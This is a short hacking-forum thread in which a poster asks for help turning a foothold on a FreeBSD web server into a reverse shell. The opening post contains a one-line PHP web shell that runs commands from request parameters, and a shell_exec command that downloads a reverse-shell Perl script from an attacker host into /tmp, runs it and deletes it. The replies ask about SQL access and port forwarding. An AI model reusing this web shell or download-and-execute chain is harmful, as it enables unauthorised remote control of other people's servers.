+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: LFI to Full Shell (/showthread.php?tid=5498114)
LFI to Full Shell - rinkhals - Dec 19, 2016
I am working on a web server running FreeBSD 9 where I have access to an administrative console. I am able to create a new database and add a text field with php code that enables remote code execution via a url.
PHP code I am using for RCE is below
<?php system($_GET["cmd"]); eval($_POST["id"]); ?>
I am able to see an incoming connection when I use the below php code to download a rev shell script but its not executing and no incoming shell hits my nc listener. I am able to write to the /tmp directory and the target has perl, wget and php version 5.4.23 and apache running.
php echo shell_exec("/usr/local/bin/wget -P /tmp ATTACKERIP/revperl.pl; /usr/bin/perl revperl.pl; rm -f revperl.pl");
I am trying to get a reverse shell and have tried various techniques but still not able to get a full shell.
Any help would be appreciated
Thanks
* - OGLIA - Dec 20, 2016
You are saying you are able to create database can you execute sql commands?
* - f1re_w1re - Dec 20, 2016
You haven't said, so I'll ask, have you portforward?